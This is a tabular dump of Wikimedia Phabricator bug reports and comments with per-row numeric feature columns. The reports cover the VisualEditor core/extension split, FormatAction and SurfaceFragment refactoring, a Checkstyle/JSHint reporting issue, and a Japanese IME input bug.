Checkstyle plugin is no more used. Closing the bug.",,,1372185531,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jbdbttk2lguhy7gmvjn2,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,2.0,5.0,2.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,7.0,7.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,4.069767441860465,0.9069767441860465," Timo said it had a very confusing output due to :
- our builds not chaining because of different patchsets being run
- disabled checks being listed anyway

Checkstyle plugin is no more used. Closing the bug."
215912,"Checkstyle report unable to fetch context, showing ""No description available. Please upgrade to latest checkstyle version.""","Unassigning self, I suspect that is either:

- JSHint does not add a description of the error in its XML output
- Jenkins Checkstyle plugin is missing description for JSHint errors

Most probably an upstream issue.",,,1362978350,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jbdbttk2lguhy7gmvjn2,task_subcomment,,True,c1,1,True,,,-16,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,7.0,5.0,19.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,7.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,2.0,0.0,4.333333333333333,0.8809523809523809,"Unassigning self, I suspect that is either:

- JSHint does not add a description of the error in its XML output
- Jenkins Checkstyle plugin is missing description for JSHint errors

Most probably an upstream issue."
47342,VisualEditor: Split MediaWiki extension that initiates VE from the VisualEditor itself,"MW-specific code should be split from the VisualEditor itself; mediawiki/extensions/VisualEditor.git should only be the MW-specific items (integration; MW-specific plugins; MW-specific plugin overloading).

Target repository for VE itself already exists: VisualEditor/core.git

(Future plugins should be under VisualEditor/plugin/….git.)

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1361756160,1387564647.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-ys5ubt2jukiwmzznrvjg,task_description,resolved,True,c1,1,True,False,False,-18,,0.0,0.0,0.0,1.0,0.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,2.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,15.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,2.0,4.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,4.535714285714286,0.5476190476190477,"MW-specific code should be split from the VisualEditor itself; mediawiki/extensions/VisualEditor.git should only be the MW-specific items (integration; MW-specific plugins; MW-specific plugin overloading).

Target repository for VE itself already exists: VisualEditor/core.git

(Future plugins should be under VisualEditor/plugin/….git.)

--------------------------
**Version**: unspecified
**Severity**: enhancement"
212976,VisualEditor: Split MediaWiki extension that initiates VE from the VisualEditor itself,Now complete.,,,1387564647,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ys5ubt2jukiwmzznrvjg,task_subcomment,,True,c1,3,True,,,24,,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Now complete.
212970,VisualEditor: Split MediaWiki extension that initiates VE from the VisualEditor itself,"Change 102842 merged by jenkins-bot:
Use submodule for VisualEditor core

https://gerrit.wikimedia.org/r/102842",,,1387563773,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ys5ubt2jukiwmzznrvjg,task_subcomment,,True,c1,3,False,,,24,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.75,1.0,"Change 102842 merged by jenkins-bot:
Use submodule for VisualEditor core

GERRIT_URL"
212964,VisualEditor: Split MediaWiki extension that initiates VE from the VisualEditor itself,"Change 102842 had a related patch set uploaded by Jforrester:
Use submodule for VisualEditor core

https://gerrit.wikimedia.org/r/102842",,,1387507385,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ys5ubt2jukiwmzznrvjg,task_subcomment,,True,c1,3,False,,,24,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.052631578947368,1.0,"Change 102842 had a related patch set uploaded by Jforrester:
Use submodule for VisualEditor core

GERRIT_URL"
212958,VisualEditor: Split MediaWiki extension that initiates VE from the VisualEditor itself,"Change 102825 merged by jenkins-bot:
Update .gitreview and remove MW-specific things

https://gerrit.wikimedia.org/r/102825",,,1387492495,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ys5ubt2jukiwmzznrvjg,task_subcomment,,True,c1,3,False,,,24,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.578947368421052,0.9473684210526315,"Change 102825 merged by jenkins-bot:
Update .gitreview and remove MW-specific things

GERRIT_URL"
212951,VisualEditor: Split MediaWiki extension that initiates VE from the VisualEditor itself,"Change 102825 had a related patch set uploaded by Jforrester:
Update .gitreview and remove MW-specific things

https://gerrit.wikimedia.org/r/102825",,,1387491726,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ys5ubt2jukiwmzznrvjg,task_subcomment,,True,c1,3,False,,,24,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,23.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.863636363636363,1.0,"Change 102825 had a related patch set uploaded by Jforrester:
Update .gitreview and remove MW-specific things

GERRIT_URL"
212945,VisualEditor: Split MediaWiki extension that initiates VE from the VisualEditor itself,"Change 101845 merged by jenkins-bot:
Split ext.visualEditor.mwcore out of ext.visualEditor.core

https://gerrit.wikimedia.org/r/101845",,,1387316087,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ys5ubt2jukiwmzznrvjg,task_subcomment,,True,c1,3,False,,,24,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,19.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.1875,1.0,"Change 101845 merged by jenkins-bot:
Split ext.visualEditor.mwcore out of ext.visualEditor.core

GERRIT_URL"
212938,VisualEditor: Split MediaWiki extension that initiates VE from the VisualEditor itself,"Change 101845 had a related patch set uploaded by Jforrester:
Split ext.visualEditor.mwcore out of ext.visualEditor.core

https://gerrit.wikimedia.org/r/101845",,,1387214862,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ys5ubt2jukiwmzznrvjg,task_subcomment,,True,c1,3,False,,,24,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,16.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,6.2631578947368425,1.0,"Change 101845 had a related patch set uploaded by Jforrester:
Split ext.visualEditor.mwcore out of ext.visualEditor.core

GERRIT_URL"
212935,VisualEditor: Split MediaWiki extension that initiates VE from the VisualEditor itself,https://gerrit.wikimedia.org/r/71755 addresses part of this by splitting files between modules/ve/ and modules/ve-mw/,,,1372875122,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-ys5ubt2jukiwmzznrvjg,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.444444444444445,0.8888888888888888,GERRIT_URL addresses part of this by splitting files between modules/ve/ and modules/ve-mw/
47247,VisualEditor: Generalize logic in ve.FormatAction,"* Rules for ""heading should not be in list"" in CE rather than DM
* Function that isolates and unwraps things until they conform to the CE rules
** FormatAction does these things, but is hardcoded for lists

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1361475480,1363626350.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-q2sq3hniv3ip4n5l2tv4,task_description,resolved,True,c1,1,False,False,True,-19,,0.0,0.0,0.0,2.0,2.0,3.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,3.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,11.0,6.0,0.0,3.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.903225806451613,0.6774193548387096,"* Rules for ""heading should not be in list"" in CE rather than DM
* Function that isolates and unwraps things until they conform to the CE rules
** FormatAction does these things, but is hardcoded for lists

--------------------------
**Version**: unspecified
**Severity**: normal"
207825,VisualEditor: Generalize logic in ve.FormatAction,Reassigning to Ed because he's already doing this anyway.,,,1362528092,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-q2sq3hniv3ip4n5l2tv4,task_subcomment,,True,c1,1,False,,,-17,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,4.454545454545454,1.0,Reassigning to Ed because he's already doing this anyway.
47246,VisualEditor: Refactor ve.FormatAction.splitAndUnwrap to use SurfaceFragment,"

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1361474880,1361839902.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-lfnwgg3zbq7kwd5zrvyd,task_description,resolved,True,c1,1,False,False,True,-19,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,"

--------------------------
**Version**: unspecified
**Severity**: normal"
207789,VisualEditor: Refactor ve.FormatAction.splitAndUnwrap to use SurfaceFragment,Merged.,,,1361839902,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lfnwgg3zbq7kwd5zrvyd,task_subcomment,,True,c1,1,True,,,-18,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Merged.
207781,VisualEditor: Refactor ve.FormatAction.splitAndUnwrap to use SurfaceFragment,https://gerrit.wikimedia.org/r/#/c/50834/,,,1361834711,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-lfnwgg3zbq7kwd5zrvyd,task_subcomment,,True,c1,1,True,,,-18,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
47242,VisualEditor: Implement remaining wrapAll methods in SurfaceFragment,"

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1361474340,1361839869.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-zcg333mt7cdvw4jrhfyr,task_description,resolved,True,c1,1,False,False,True,-19,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,"

--------------------------
**Version**: unspecified
**Severity**: normal"
207561,VisualEditor: Implement remaining wrapAll methods in SurfaceFragment,Merged.,,,1361839869,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zcg333mt7cdvw4jrhfyr,task_subcomment,,True,c1,1,True,,,-18,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Merged.
207552,VisualEditor: Implement remaining wrapAll methods in SurfaceFragment,Finished off in https://gerrit.wikimedia.org/r/#/c/50824/,,,1361832639,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zcg333mt7cdvw4jrhfyr,task_subcomment,,True,c1,1,True,,,-18,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Finished off in URL
207544,VisualEditor: Implement remaining wrapAll methods in SurfaceFragment,Partially fixed in https://gerrit.wikimedia.org/r/#/c/50429/,,,1361572627,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zcg333mt7cdvw4jrhfyr,task_subcomment,,True,c1,1,True,,,-19,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.75,1.0,Partially fixed in URL
47240,VisualEditor: IME input into an empty slug causes characters to overwrite one another,"**Author:** `visionary.incident`

**Description:**
I cannot input japanese consecutive characters in the beginning of the line.

Firefox version is 18.0.2 .

For example

inputed
あああああ

outputed
ああ

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1361473320,1423750103.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-wgf3mrrwn3ymravx5tvh,task_description,resolved,True,c1,1,False,False,False,-19,,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,5.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.806451612903226,0.5806451612903226,"**Author:** CODE

**Description:**
I cannot input japanese consecutive characters in the beginning of the line.

Firefox version is 18.0.2 .

For example

inputed
あああああ

outputed
ああ

--------------------------
**Version**: unspecified
**Severity**: normal"
410477,VisualEditor: IME input into an empty slug causes characters to overwrite one another,I suspect this is no longer broken. Please re-test.,,,1423750103,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-wgf3mrrwn3ymravx5tvh,task_subcomment,,True,c1,3,True,,,84,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,3.3076923076923075,0.9230769230769231,I suspect this is no longer broken. Please re-test.
207429,VisualEditor: IME input into an empty slug causes characters to overwrite one another,"Just as a note, we are refactoring the Surface code in ContentEditable to make this fixable, hence the delay.",,,1381271546,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wgf3mrrwn3ymravx5tvh,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,5.0,9.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,14.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,4.136363636363637,0.9090909090909091,"Just as a note, we are refactoring the Surface code in ContentEditable to make this fixable, hence the delay."
207422,VisualEditor: IME input into an empty slug causes characters to overwrite one another,*** Bug 53064 has been marked as a duplicate of this bug. ***,,,1377348845,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-wgf3mrrwn3ymravx5tvh,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 53064 has been marked as a duplicate of this bug. ***
